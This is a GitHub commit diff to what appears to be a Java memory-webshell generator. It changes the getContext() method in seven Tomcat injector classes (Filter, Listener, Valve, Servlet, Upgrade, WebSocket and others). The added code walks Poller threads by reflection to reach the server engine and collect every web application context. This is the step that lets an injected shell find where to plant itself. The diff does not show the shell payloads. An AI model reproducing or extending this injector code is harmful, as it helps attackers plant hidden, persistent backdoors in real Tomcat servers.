Skip to content

Commit 9127b46

Browse files
committed
fix: context not found in fr v11
1 parent 41e8bd7 commit 9127b46

File tree

7 files changed

+94
-10
lines changed

7 files changed

+94
-10
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -84,12 +84,24 @@ public Set<Object> getContext() throws Exception {
8484
Set<Object> contexts = new HashSet<Object>();
8585
Set<Thread> threads = Thread.getAllStackTraces().keySet();
8686
for (Thread thread : threads) {
87-
if (thread.getName().contains("ContainerBackgroundProcessor")) {
87+
String threadName = thread.getName();
88+
if (threadName.contains("ContainerBackgroundProcessor")) {
8889
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
8990
for (Object value : childrenMap.values()) {
9091
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
9192
contexts.addAll(children.values());
9293
}
94+
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
95+
try {
96+
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
97+
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
98+
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
99+
for (Object value : childrenMap.values()) {
100+
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
101+
contexts.addAll(children.values());
102+
}
103+
} catch (Exception ignored) {
104+
}
93105
} else if (thread.getContextClassLoader() != null) {
94106
String name = thread.getContextClassLoader().getClass().getSimpleName();
95107
if (name.matches(".+WebappClassLoader")) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -71,15 +71,27 @@ private String getContextRoot(Object context) {
7171
}
7272

7373
public Set<Object> getContext() throws Exception {
74-
Set<Object> contexts = new HashSet<>();
74+
Set<Object> contexts = new HashSet<Object>();
7575
Set<Thread> threads = Thread.getAllStackTraces().keySet();
7676
for (Thread thread : threads) {
77-
if (thread.getName().contains("ContainerBackgroundProcessor")) {
77+
String threadName = thread.getName();
78+
if (threadName.contains("ContainerBackgroundProcessor")) {
7879
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
7980
for (Object value : childrenMap.values()) {
8081
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
8182
contexts.addAll(children.values());
8283
}
84+
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
85+
try {
86+
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
87+
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
88+
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
89+
for (Object value : childrenMap.values()) {
90+
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
91+
contexts.addAll(children.values());
92+
}
93+
} catch (Exception ignored) {
94+
}
8395
} else if (thread.getContextClassLoader() != null) {
8496
String name = thread.getContextClassLoader().getClass().getSimpleName();
8597
if (name.matches(".+WebappClassLoader")) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -100,12 +100,24 @@ public Set<Object> getContext() throws Exception {
100100
Set<Object> contexts = new HashSet<Object>();
101101
Set<Thread> threads = Thread.getAllStackTraces().keySet();
102102
for (Thread thread : threads) {
103-
if (thread.getName().contains("ContainerBackgroundProcessor")) {
103+
String threadName = thread.getName();
104+
if (threadName.contains("ContainerBackgroundProcessor")) {
104105
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
105106
for (Object value : childrenMap.values()) {
106107
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
107108
contexts.addAll(children.values());
108109
}
110+
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
111+
try {
112+
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
113+
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
114+
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
115+
for (Object value : childrenMap.values()) {
116+
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
117+
contexts.addAll(children.values());
118+
}
119+
} catch (Exception ignored) {
120+
}
109121
} else if (thread.getContextClassLoader() != null) {
110122
String name = thread.getContextClassLoader().getClass().getSimpleName();
111123
if (name.matches(".+WebappClassLoader")) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -81,12 +81,24 @@ public Set<Object> getContext() throws Exception {
8181
Set<Object> contexts = new HashSet<Object>();
8282
Set<Thread> threads = Thread.getAllStackTraces().keySet();
8383
for (Thread thread : threads) {
84-
if (thread.getName().contains("ContainerBackgroundProcessor")) {
84+
String threadName = thread.getName();
85+
if (threadName.contains("ContainerBackgroundProcessor")) {
8586
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
8687
for (Object value : childrenMap.values()) {
8788
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
8889
contexts.addAll(children.values());
8990
}
91+
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
92+
try {
93+
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
94+
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
95+
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
96+
for (Object value : childrenMap.values()) {
97+
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
98+
contexts.addAll(children.values());
99+
}
100+
} catch (Exception ignored) {
101+
}
90102
} else if (thread.getContextClassLoader() != null) {
91103
String name = thread.getContextClassLoader().getClass().getSimpleName();
92104
if (name.matches(".+WebappClassLoader")) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -80,12 +80,24 @@ public Set<Object> getContext() throws Exception {
8080
Set<Object> contexts = new HashSet<Object>();
8181
Set<Thread> threads = Thread.getAllStackTraces().keySet();
8282
for (Thread thread : threads) {
83-
if (thread.getName().contains("ContainerBackgroundProcessor")) {
83+
String threadName = thread.getName();
84+
if (threadName.contains("ContainerBackgroundProcessor")) {
8485
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
8586
for (Object value : childrenMap.values()) {
8687
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
8788
contexts.addAll(children.values());
8889
}
90+
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
91+
try {
92+
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
93+
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
94+
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
95+
for (Object value : childrenMap.values()) {
96+
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
97+
contexts.addAll(children.values());
98+
}
99+
} catch (Exception ignored) {
100+
}
89101
} else if (thread.getContextClassLoader() != null) {
90102
String name = thread.getContextClassLoader().getClass().getSimpleName();
91103
if (name.matches(".+WebappClassLoader")) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -74,12 +74,24 @@ public Set<Object> getContext() throws Exception {
7474
Set<Object> contexts = new HashSet<Object>();
7575
Set<Thread> threads = Thread.getAllStackTraces().keySet();
7676
for (Thread thread : threads) {
77-
if (thread.getName().contains("ContainerBackgroundProcessor")) {
77+
String threadName = thread.getName();
78+
if (threadName.contains("ContainerBackgroundProcessor")) {
7879
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
7980
for (Object value : childrenMap.values()) {
8081
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
8182
contexts.addAll(children.values());
8283
}
84+
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
85+
try {
86+
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
87+
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
88+
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
89+
for (Object value : childrenMap.values()) {
90+
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
91+
contexts.addAll(children.values());
92+
}
93+
} catch (Exception ignored) {
94+
}
8395
} else if (thread.getContextClassLoader() != null) {
8496
String name = thread.getContextClassLoader().getClass().getSimpleName();
8597
if (name.matches(".+WebappClassLoader")) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java

Lines changed: 15 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -80,12 +80,24 @@ public Set<Object> getContext() throws Exception {
8080
Set<Object> contexts = new HashSet<Object>();
8181
Set<Thread> threads = Thread.getAllStackTraces().keySet();
8282
for (Thread thread : threads) {
83-
if (thread.getName().contains("ContainerBackgroundProcessor")) {
84-
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
83+
String threadName = thread.getName();
84+
if (threadName.contains("ContainerBackgroundProcessor")) {
85+
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
8586
for (Object value : childrenMap.values()) {
86-
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
87+
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
8788
contexts.addAll(children.values());
8889
}
90+
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
91+
try {
92+
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
93+
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
94+
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
95+
for (Object value : childrenMap.values()) {
96+
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
97+
contexts.addAll(children.values());
98+
}
99+
} catch (Exception ignored) {
100+
}
89101
} else if (thread.getContextClassLoader() != null) {
90102
String name = thread.getContextClassLoader().getClass().getSimpleName();
91103
if (name.matches(".+WebappClassLoader")) {

0 commit comments

Comments
 (0)